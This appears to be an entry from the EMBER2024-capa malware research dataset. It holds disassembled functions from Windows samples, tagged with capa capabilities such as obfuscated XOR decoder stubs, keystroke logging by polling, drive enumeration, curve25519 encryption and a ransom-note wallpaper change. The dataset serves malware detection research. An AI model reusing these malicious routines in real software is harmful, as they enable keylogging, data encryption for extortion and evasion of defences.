joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7ffe532a
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword fs:[0x30]
push es
pop ds
push bx
inc esp
inc esp
add al, 0
xor eax, ecx
xor eax, ecx
and al, 0xff
pushf
popf
and al, 0xff
add al, 4
sub al, 4
push eax
pop eax
pushf
popf
push es
pop ds
push bx
inc esp
inc esp
push eax
pop eax
add al, 4
sub al, 4
inc esi
dec esi
push bx
inc esp
inc esp
inc esi
dec esi
not eax
not eax
and al, 0xff
not eax
not eax
inc esi
dec esi
xor eax, ecx
xor eax, ecx
push eax
pop eax
not eax
not eax
push es
pop ds
add al, 4
sub al, 4
push es
pop ds
add al, 4
sub al, 4
add al, 0
not eax
not eax
add al, 0
add al, 4
sub al, 4
push eax
pop eax
pushf
popf
push es
pop ds
pushf
popf
and al, 0xff
not eax
not eax
add al, 0
not eax
not eax
inc esi
dec esi
not eax
not eax
and al, 0xff
xor eax, ecx
xor eax, ecx
push es
pop ds
inc esi
dec esi
cld
call 0x7ffe53be
pop edx
not eax
not eax
push es
pop ds
xor eax, ecx
xor eax, ecx
xor dx, dx
inc esi
dec esi
not eax
not eax
stc
add edx, 0xd5e0
add al, 4
sub al, 4
and al, 0xff
push es
pop ds
xor ecx, ecx
inc esi
dec esi
add al, 4
sub al, 4
nop
and al, 0xff
mov cl, 0x1e
and al, 0xff
push bx
inc esp
inc esp
add al, 0
not eax
not eax
xor byte [ecx + edx], 0xd7
loop 0x7ffe53fa
and al, 0xff
and bh, 0xff
push dword fs:[0x24]
push eax
pop eax
xor eax, ecx
xor eax, ecx
pop dword [edx + 0xa]
and al, 0xff
not eax
not eax
push eax
pop eax
inc esi
dec esi
cld
mov cl, 0xff
push eax
pop eax
push edx
loop 0x7ffe5424
add al, 0
add al, 4
sub al, 4
clc
push es
pop ds
mov dword [edx + 0x11], 0xffffacbb
push eax
pop eax
pushf
popf
inc esi
dec esi
xor eax, ecx
xor eax, ecx
mov ecx, dword [eax + 0x2c]
push es
pop ds
cld
mov dword [edx + 0x1b], ecx
push eax
pop eax
pushf
popf
add al, 0
mov dword [edx + 0x100], ecx
push bx
inc esp
inc esp
push es
pop ds
add al, 4
sub al, 4
inc esi
dec esi
clc
mov dword [eax + 0x2c], esp
push eax
pop eax
add al, 0
push 0
and bh, 0xff
push 0
xor eax, ecx
xor eax, ecx
push eax
pop eax
push 0
pushf
popf
add eax, 0
push 0
push 0x30
add al, 4
sub al, 4
and al, 0xff
add al, 4
sub al, 4
stc
push 0x20
pushf
popf
and al, 0xff
push eax
pop eax
push 0
push es
pop ds
not eax
not eax
push es
pop ds
push es
pop ds
clc
push 0
pushf
popf
add edx, 0xffff7f29
push eax
pop eax
xor eax, ecx
xor eax, ecx
cld
push edx
and al, 0xff
push edx
add al, 0
not eax
not eax
push es
pop ds
push bx
inc esp
inc esp
nop
push 0
push bx
inc esp
inc esp
push es
pop ds
call dword [edx + 0x821a]
pushf
popf
clc
add esp, 0x3f8
push bx
inc esp
inc esp
and al, 0xff
add al, 0
xor eax, eax
push eax
pop eax
not eax
not eax
push es
pop ds
cld
inc eax
push eax
pop eax
push eax
pop eax
ret 0xc
Function at 0x7ffe9c50
Capabilities:
Encode data using xor

Disassembly:
adc eax, 0x23120d1f
pop ds
and dh, byte [edx]
xor byte [edx], dh
sub bh, byte [eax + ebp]
and al, 0x24
sub byte [eax + 0x3b], al
or al, 0x33
sbb byte [0x373c301e], dh
sbb ecx, dword [esi]
and eax, 0xd353604
sbb byte [edx], bh
xor dword [0xf411207], ecx
sbb byte [ecx + 0x20], al
sub byte [esi], ah
cmp eax, dword [esi]
cmp eax, 0x231e3f0c
adc edx, dword [ebx]
sbb byte [0x3d3c1a0f], ah
or ch, byte [ebx]
and al, byte [edx + 0x25]
pop es
and byte [edx], ch
inc edx
sub bh, byte [eax]
cmp bh, byte es:[eax]
sub ah, byte [esi]
push 0xf49604c3
add dword ss:[ebx], esi
scasd eax, dword es:[edi]
sbb eax, 0x992ed504
jg 0x7ffe9c02
push edx
daa
adc byte [eax], dl
stosb byte es:[edi], al
mov bh, 0xc0
sbb al, 0x37
xor byte [edi - 0xe], ah
ja 0x7ffe9c9f
add bl, byte [ecx + ebp*2]
mov fs, word [edx + 0xe2de3c0]
sbb dl, byte [0x1073b53]
adc byte [edi + 0x1b0dd68c], 0x26
ja 0x7ffe9ce6
jp 0x7ffe9c85
jle 0x7ffe9c8b
call dword [edx]
stosd dword es:[edi], eax
loop 0x7ffe9caf
adc ch, byte [ebx + 0x13f21fe2]
insd dword es:[edi], dx
or byte [ecx - 0x4dee894b], bl
ljmp 0x187f
adc ebp, dword [ebp + 8]
cdq
mov ch, 0x76
adc dword [edx + 0xa5f11ea], esi
sar dword [edi + 0x18], 0x19
sbb byte [ecx], bl
mov ebx, 0x41a2941e
dec ebp
mov ebp, 0xc37f2ae0
aam 0x85
push cs
sti
and al, 0xc6
add al, 0x81
mov dl, 0xfd
push esp
or ebp, dword cs:[edi]
invalid
sub ebp, dword fs:[edx + 0x6b9b3f98]
adc dword [ecx - 0x20d3c456], esi
xor dword [edi + 0x13e41d9e], ebp
movsb byte es:[edi], byte [esi]
dec esi
invalid
Function at 0x401000
Capabilities:
Allocate thread local storage

Disassembly:
push 0x1c
push 0
push 0x40c750
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
call sub.KERNEL32.dll_GetModuleHandleW
mov dword [0x40c754], eax
push 0
push 0x1000
push 0
call sub.KERNEL32.dll_HeapCreate
mov dword [0x40c750], eax
mov eax, 0x40b8a8
mov dword [0x40c760], eax
call fcn.00402235
call fcn.00408260
call fcn.004079f0
call fcn.00407412
call fcn.00406f8b
call fcn.00406b13
call fcn.00406493
call fcn.00405e86
call fcn.00405be0
call fcn.00403d1c
call fcn.004035c0
call fcn.00402e19
call fcn.004029f2
call fcn.004029de
call fcn.0040291a
call fcn.004028a9
call fcn.004027d0
call fcn.004022ee
mov edx, dword [0x40c878]
push edx
push edx
mov edx, dword [0x40c878]
push edx
push edx
call fcn.004064c2
mov edx, dword [0x40b8c8]
add dword [esp], edx
call fcn.00406c8f
add dword [0x40c878], 2
push 0x40c764
call fcn.004082e0
call fcn.00401c31
push 0
jmp 0x4010e8
call 0x401102
call fcn.004082b0
push dword [0x40c750]
call sub.KERNEL32.dll_HeapDestroy
call sub.KERNEL32.dll_ExitProcess
Function at 0x401b6b
Capabilities:
Read .ini file

Disassembly:
xor eax, eax
push eax
push eax
push eax
push eax
mov eax, dword [esp + 0x20]
mov dword [0x40c878], eax
mov edx, dword [esp + 0x14]
lea ecx, [esp]
call fcn.00402000
mov edx, dword [esp + 0x18]
lea ecx, [esp + 4]
call fcn.00402000
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 8]
call fcn.00402000
mov edx, dword [0x40c878]
push edx
push edx
push 0x200
call fcn.00406420
lea eax, [esp + 0x10]
push eax
call fcn.004082e0
mov eax, dword [esp]
push eax
push 0x200
mov eax, dword [esp + 0x14]
push eax
mov eax, 0x40b028
push eax
mov eax, dword [esp + 0x18]
push eax
mov eax, dword [esp + 0x18]
push eax
call sub.KERNEL32.dll_GetPrivateProfileStringW
mov edx, dword [esp + 0xc]
push dword [0x40c878]
push edx
call fcn.00408360
pop eax
add eax, dword [0x40b8c8]
jmp 0x401c08
push dword [esp + 4]
call fcn.004083c0
push dword [esp]
call fcn.004083c0
push dword [esp + 8]
call fcn.004083c0
push dword [esp + 0xc]
call fcn.004083c0
add esp, 0x10
ret 0xc
Function at 0x40255b
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0x28
push ebx
push ebp
push esi
push edi
xor edi, edi
call dword [sym.imp.USER32.dll_GetFocus]
mov ebp, dword [esp + 0x3c]
mov ebx, eax
and dword [esp + 0x10], edi
push 0x40a008
push ebp
call dword [sym.imp.USER32.dll_GetPropW]
mov esi, eax
push 9
pop eax
test esi, esi
je 0x4025f3
lea eax, [esp + 0x14]
push eax
push ebp
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test eax, eax
je 0x4025f0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [esp + 0x14], eax
jne 0x4025f0
lea eax, [esi - 1]
push eax
push dword [0x40c880]
call fcn.00407b4d
mov edi, eax
mov dword [esp + 0x10], 1
xor eax, eax
push 9
cmp dword [edi + 0x10], eax
jle 0x4025f2
mov edx, dword [edi + 4]
xor ecx, ecx
pop esi
cmp word [ecx + edx + 2], si
jne 0x4025e7
mov esi, 0xfa01
push 9
cmp word [ecx + edx + 4], si
je 0x4026da
pop esi
inc eax
add ecx, 6
cmp eax, dword [edi + 0x10]
jl 0x4025cd
push 9
pop eax
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
test ebx, ebx
je 0x402699
push eax
call esi
test al, al
jns 0x402699
push 0x11
call esi
test al, al
js 0x402699
push 0x10
call esi
test al, al
js 0x402699
push 0x12
call esi
test al, al
js 0x402699
push 0x10
lea eax, [esp + 0x1c]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetClassNameW]
cmp dword [esp + 0x10], 0
jne 0x402699
push 5
lea eax, [esp + 0x1c]
push str.RichE
push eax
call sub.MSVCRT.dll_wcsncmp
add esp, 0xc
test eax, eax
je 0x40266d
push 4
lea eax, [esp + 0x1c]
push str.RICHE
push eax
call sub.MSVCRT.dll_wcsncmp
add esp, 0xc
test eax, eax
jne 0x402684
push 0
push 0
push 0x44e
push ebx
call dword [sym.imp.USER32.dll_SendMessageW]
test eax, 0x800
je 0x4026e4
lea eax, [esp + 0x18]
push str.Scintilla
push eax
call sub.MSVCRT.dll_wcscmp
pop ecx
pop ecx
test eax, eax
je 0x4026e4
test ebp, ebp
je 0x4026bd
push 0x11
call esi
test al, al
js 0x4026b5
push 0x10
call esi
test al, al
js 0x4026b5
push 0x12
call esi
test al, al
jns 0x4026bd
push 1
push ebp
call fcn.004026f0
test ebx, ebx
je 0x4026d1
push str.PB_Hotkey
push ebx
call dword [sym.imp.USER32.dll_GetPropW]
test eax, eax
jne 0x4026e4
test edi, edi
je 0x4026e4
mov eax, dword [edi + 8]
jmp 0x4026e6
and dword [esp + 0x14], 0
jmp 0x4025f2
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret 4

Function at 0x403cb0
Capabilities:
Write file on windows

Disassembly:
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0xc]
mov eax, dword [edi]
test eax, eax
je 0x403ce2
push 0
lea ecx, [esp + 0x10]
push ecx
push esi
push dword [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x403cdd
cmp dword [esp + 0xc], esi
je 0x403cf9
pop edi
xor eax, eax
pop esi
ret
mov eax, dword [edi + 4]
add eax, dword [edi + 8]
push esi
push dword [esp + 0x14]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
add dword [edi + 8], esi
pop edi
mov eax, 1
pop esi
ret
Function at 0x406d1e
Capabilities:
Get disk information
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x45c
push esi
or esi, 0xffffffff
push edi
mov edi, esi
test eax, eax
je 0x406e66
xor ecx, ecx
cmp word [eax], cx
je 0x406e66
push 0x104
push eax
lea eax, [esp + 0x10]
push eax
call sub.MSVCRT.dll_wcsncpy
xor eax, eax
mov word [esp + 0x21c], ax
lea eax, [esp + 0x14]
push eax
call sub.MSVCRT.dll_wcslen
add esp, 0x10
lea ecx, [esp + eax*2 + 6]
cmp eax, 2
je 0x406d77
cmp eax, 3
jne 0x406db1
cmp word [esp + 0xa], 0x3a
jne 0x406db1
cmp eax, 2
jne 0x406d95
lea eax, [esp + 8]
push 0x40a180
push eax
call sub.MSVCRT.dll_wcscat
pop ecx
pop ecx
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x406e66
push 0xfffffffffffffffe
pop edi
jmp 0x406e66
push ebx
push ebp
push 0x5c
pop ebp
push 0x2f
pop ebx
movzx eax, word [ecx]
cmp ax, bp
je 0x406dc6
cmp ax, bx
jne 0x406dd0
xor eax, eax
mov word [ecx], ax
sub ecx, 2
jmp 0x406db9
lea eax, [esp + 0x21c]
push eax
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, esi
je 0x406e0f
test byte [esp + 0x21c], 0x10
je 0x406df6
push 0xfffffffffffffffe
pop edi
jmp 0x406e06
mov esi, dword [esp + 0x238]
xor edi, edi
or edi, dword [esp + 0x23c]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x406e64
cmp word [esp + 0x10], bp
jne 0x406e1d
cmp word [esp + 0x12], bp
je 0x406e3c
cmp word [esp + 0x10], bx
jne 0x406e2b
cmp word [esp + 0x12], bx
je 0x406e3c
push 0x2e
pop eax
cmp word [esp + 0x10], ax
jne 0x406e64
cmp word [esp + 0x12], ax
jne 0x406e64
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, esi
je 0x406e51
test al, 0x10
je 0x406e64
jmp 0x406e61
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x406e64
push 0xfffffffffffffffe
pop edi
pop ebp
pop ebx
mov eax, edi
mov edx, esi
pop edi
pop esi
add esp, 0x45c
ret 4

Function at 0xdce8c8
Capabilities:
Encode data using xor

Disassembly:
jmp 0xdce8d2
pushal
call 0xdce8d8
pop ebp
sub ebp, 0x10
sub ebp, 0x9ce8c8
jmp 0xdce8ee
mov eax, 0x9ce8c8
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c7
mov edx, 0xca02be8d
xor byte [eax], dl
inc eax
dec ecx
jne 0xdce905
jmp 0xdce918
push es
inc eax
push es
add al, 0xb1
lea ecx, [ebp + 0x754c0c8d]
lea ecx, [ebp + 0x35408e8d]
mov dword [ebp - 0x5ac87273], ecx
lea ecx, [ebp - 0x71908573]
inc ebp
push es
or al, 0x81
lea ecx, [ebp - 0x22b77173]
fucom st(5)
xchg ecx, eax
imul ebp, dword [ebp + ecx*4 - 0x970de1b], 0xffffff8d
mov word [ecx + 0x20b0e5a9], fs
invalid
Function at 0x402160
Capabilities:
Change the wallpaper
Get common file path

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44b155
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x3c
mov eax, dword [0x45f200]
xor eax, ebp
mov dword [ebp - 0x14], eax
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
xor eax, eax
mov dword [ebp - 0x18], 7
movups xmmword [ebp - 0x2c], xmm0
mov word [ebp - 0x2c], ax
push eax
push 0x104
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], eax
call fcn.00402730
cmp dword [ebp - 0x18], 7
lea eax, [ebp - 0x2c]
cmova eax, dword [ebp - 0x2c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edx, dword [ebp - 0x18]
lea ecx, [ebp - 0x2c]
cmp edx, 7
cmova ecx, dword [ebp - 0x2c]
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4021f0
mov eax, dword [ebp - 0x1c]
sub ecx, edi
sar ecx, 1
cmp ecx, eax
ja 0x40221b
cmp edx, 7
mov dword [ebp - 0x1c], ecx
lea eax, [ebp - 0x2c]
cmova eax, dword [ebp - 0x2c]
xor edx, edx
mov word [eax + ecx*2], dx
jmp 0x402228
sub ecx, eax
push 0
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00402730
mov ecx, dword [ebp - 0x1c]
mov eax, 0x7ffffffe
sub eax, ecx
cmp eax, 0x15
jb 0x40232e
cmp dword [ebp - 0x18], 7
lea eax, [ebp - 0x2c]
push 0x15
cmova eax, dword [ebp - 0x2c]
push str.encrypted_message.bmp
push ecx
push eax
push ecx
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x44]
call fcn.00402990
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 1
call fcn.00402340
test al, al
jne 0x402270
mov byte [ebp - 0x45], al
jmp 0x40228e
cmp dword [ebp - 0x30], 7
lea eax, [ebp - 0x44]
push 3
cmova eax, dword [ebp - 0x44]
push eax
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
test eax, eax
setne byte [ebp - 0x45]
mov ecx, dword [ebp - 0x30]
cmp ecx, 7
jbe 0x4022c4
mov edx, dword [ebp - 0x44]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4022ba
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402333
push ecx
push edx
call fcn.0042980f
add esp, 8
mov ecx, dword [ebp - 0x18]
xor eax, eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 7
mov word [ebp - 0x44], ax
cmp ecx, 7
jbe 0x40230e
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402304
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402333
push ecx
push edx
call fcn.0042980f
add esp, 8
mov al, byte [ebp - 0x45]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004297d1
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00402150
call fcn.0042e68f
int3
Function at 0x405ee0
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x21c
mov eax, dword [0x45f200]
xor eax, esp
mov dword [esp + 0x218], eax
movups xmm0, xmmword [edx]
push esi
movups xmm1, xmmword [edx + 0x10]
mov edx, dword [ebp + 8]
mov esi, ecx
movd eax, xmm0
lea ecx, [esp + 0x100]
movaps xmmword [esp + 0x200], xmm1
movaps xmmword [esp + 0x1f0], xmm0
and al, 0xf8
psrldq xmm1, 0xf
mov byte [esp + 0x1f0], al
movd eax, xmm1
and al, 0x3f
or al, 0x40
mov byte [esp + 0x20f], al
call fcn.00403540
lea eax, [esp + 0x100]
push eax
lea eax, [esp + 0x1f4]
push eax
lea edx, [esp + 0x18]
lea ecx, [esp + 0x1a8]
call fcn.00404730
lea edx, [esp + 0x18]
lea ecx, [esp + 0x158]
call fcn.00404ab0
lea eax, [esp + 0x158]
push eax
lea edx, [esp + 0x1ac]
lea ecx, [esp + 0x74]
call fcn.00402b00
add esp, 0xc
lea ecx, [esp + 0x68]
call fcn.00402fd0
lea ecx, [esp + 0x68]
call fcn.004030b0
movups xmm0, xmmword [esp + 0x68]
lea edx, [esp + 0x10]
mov ecx, esi
movups xmmword [esp + 0x10], xmm0
movups xmm0, xmmword [esp + 0x78]
movups xmmword [esp + 0x20], xmm0
movups xmm0, xmmword [esp + 0x88]
movups xmmword [esp + 0x30], xmm0
movups xmm0, xmmword [esp + 0x98]
movups xmmword [esp + 0x40], xmm0
movups xmm0, xmmword [esp + 0xa8]
movups xmmword [esp + 0x50], xmm0
call fcn.00403840
mov ecx, dword [esp + 0x21c]
xor eax, eax
pop esi
xor ecx, esp
call fcn.004297d1
mov esp, ebp
pop ebp
ret
Function at 0x407630
Capabilities:
Get disk information
Get file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44b3c2
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x338
mov eax, dword [0x45f200]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebx + 8]
xorps xmm0, xmm0
mov dword [ebp - 0x348], edi
mov dword [ebp - 0x32c], 0
movq qword [edi], xmm0
mov dword [edi + 8], 0
mov dword [edi], 0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
lea eax, [ebp - 0x328]
mov dword [ebp - 4], 0
push eax
push 0x104
mov dword [ebp - 0x32c], 1
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x407810
cmp word [ebp - 0x328], 0
lea esi, [ebp - 0x328]
je 0x407810
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x4077ed
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 2
je 0x4077ed
push 0
push 0
push 0x104
lea eax, [ebp - 0x120]
push eax
push 0xffffffffffffffff
push esi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
xorps xmm0, xmm0
mov dword [ebp - 0x334], 0
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x330], 0
movups xmmword [ebp - 0x344], xmm0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407750
sub ecx, edx
lea eax, [ebp - 0x120]
push ecx
push eax
lea ecx, [ebp - 0x344]
call fcn.00409b20
mov dword [ebp - 4], 1
mov eax, dword [edi + 4]
cmp eax, dword [edi + 8]
je 0x4077a4
movups xmm0, xmmword [ebp - 0x344]
mov ecx, 0xf
mov byte [ebp - 0x344], 0
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x334]
movq qword [eax + 0x10], xmm0
add dword [edi + 4], 0x18
jmp 0x4077b9
lea ecx, [ebp - 0x344]
push ecx
push eax
mov ecx, edi
call fcn.0040a410
mov ecx, dword [ebp - 0x330]
mov byte [ebp - 4], 0
cmp ecx, 0xf
jbe 0x4077ed
mov edx, dword [ebp - 0x344]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4077e3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407832
push ecx
push edx
call fcn.0042980f
add esp, 8
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4077f2
sub eax, edx
sar eax, 1
lea esi, [esi + eax*2]
add esi, 2
cmp word [esi], cx
jne 0x4076e5
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004297d1
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4
call fcn.0042e68f
int3
Function at 0x409320
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44b280
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x45f200]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
call fcn.004297df
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.0042771d
add esp, 8
mov dword [esi + 4], eax
mov ecx, edi
mov dword [edi + 0x34], esi
call fcn.004095f0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4097c0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov edx, dword [ebp + 0xc]
mov eax, ecx
push ebx
push esi
push edi
cmp dword [edx + 0x14], 0xf
mov edi, edx
mov dword [ebp - 4], eax
jbe 0x4097db
mov edi, dword [edx]
mov ebx, dword [edx + 0x10]
xor ecx, ecx
mov esi, 0x811c9dc5
test ebx, ebx
je 0x409804
nop dword [eax]
movzx eax, byte [edi + ecx]
inc ecx
xor eax, esi
imul esi, eax, 0x1000193
cmp ecx, ebx
jb 0x4097f0
mov eax, dword [ebp - 4]
push esi
push edx
lea ecx, [ebp - 0xc]
push ecx
mov ecx, eax
call fcn.0040a5a0
pop edi
pop esi
pop ebx
mov ecx, dword [eax + 4]
mov eax, dword [ebp + 8]
test ecx, ecx
jne 0x409824
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx + 4]
mov dword [eax], ecx
mov esp, ebp
pop ebp
ret 8
Function at 0x40cc50
Capabilities:
Create restart manager session
Encode data using xor
Encrypt data using curve25519
Enumerate processes that use resource
Generate random numbers via winapi
Get file size
Move file
Read file on windows
Set file attributes
Terminate process
Write file on windows

Disassembly:
add ecx, 4
cmp byte [ecx + 0x18], 0
jne fcn.0040acd0
ret
Function at 0x40f4b0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44b46d
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x40
mov eax, dword [0x45f200]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x48], edi
push 0xa
push 0x67
push 0
mov dword [ebp - 0x48], edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x40f52f
xorps xmm0, xmm0
mov ecx, edi
movups xmmword [edi], xmm0
push 0
mov dword [edi + 0x10], 0
push 0x457008
mov dword [edi + 0x14], 0
call fcn.004028e0
jmp 0x40f5f4
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x48], eax
test eax, eax
je 0x40f508
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push dword [ebp - 0x48]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
push eax
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
call fcn.00409b20
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 0xf
mov eax, dword [ebp - 0x1c]
cmova ecx, dword [ebp - 0x2c]
add eax, ecx
cmp dword [ebp - 0x18], 0xf
lea ecx, [ebp - 0x2c]
cmova ecx, dword [ebp - 0x2c]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x44]
call fcn.0040b5a0
mov ecx, dword [ebp - 0x18]
xorps xmm0, xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
movups xmm0, xmmword [ebp - 0x44]
movups xmmword [edi], xmm0
movq xmm0, qword [ebp - 0x34]
movq qword [edi + 0x10], xmm0
cmp ecx, 0xf
jbe 0x40f5f4
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f5ea
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f614
push ecx
push edx
call fcn.0042980f
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004297d1
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0042e68f
int3